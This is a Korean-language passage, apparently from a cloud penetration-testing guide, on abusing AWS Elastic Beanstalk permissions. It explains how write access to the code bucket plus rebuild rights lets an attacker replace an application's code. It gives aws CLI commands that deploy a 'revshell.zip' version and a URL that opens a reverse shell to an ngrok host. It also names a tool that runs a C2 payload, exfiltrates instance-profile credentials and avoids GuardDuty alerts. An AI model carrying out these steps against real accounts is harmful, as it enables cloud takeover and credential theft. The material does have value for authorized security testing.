Beanstalk에서 민감한 작업을 수행하려면 다양한 서비스에서 많은 민감한 권한이 필요합니다. 예를 들어 **arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk**에 부여된 권한을 확인할 수 있습니다.
elasticbeanstalk:RebuildEnvironment, S3 쓰기 권한 및 기타 여러 권한
환경의 코드를 포함하는 S3 버킷에 쓰기 권한과 애플리케이션을 재구축할 수 있는 권한( elasticbeanstalk:RebuildEnvironment 및 S3, EC2, Cloudformation과 관련된 몇 가지 권한이 필요)이 있으면 코드를 수정하고 앱을 재구축할 수 있습니다. 그러면 앱에 다음에 액세스할 때 새 코드가 실행되어 공격자가 애플리케이션과 해당 IAM 역할 자격 증명을 침해할 수 있습니다.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, 그리고 더 많은...
언급된 것 외에도 S3, EC2, cloudformation ,autoscaling 그리고 elasticloadbalancing 권한들이 필요하다. 이는 처음부터 Elastic Beanstalk 시나리오를 만들기 위한 필수적인 권한들이다.
자신의 Beanstalk 환경을 실행하여 rev shell을 실행한 후, 피해자의 환경으로 이전해야 합니다. 이를 위해 Beanstalk S3 버킷의 Bucket Policy를 업데이트하여 피해자가 액세스할 수 있도록 해야 합니다 (이로 인해 이 버킷이 모두에게 열릴 것임을 유의하십시오):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.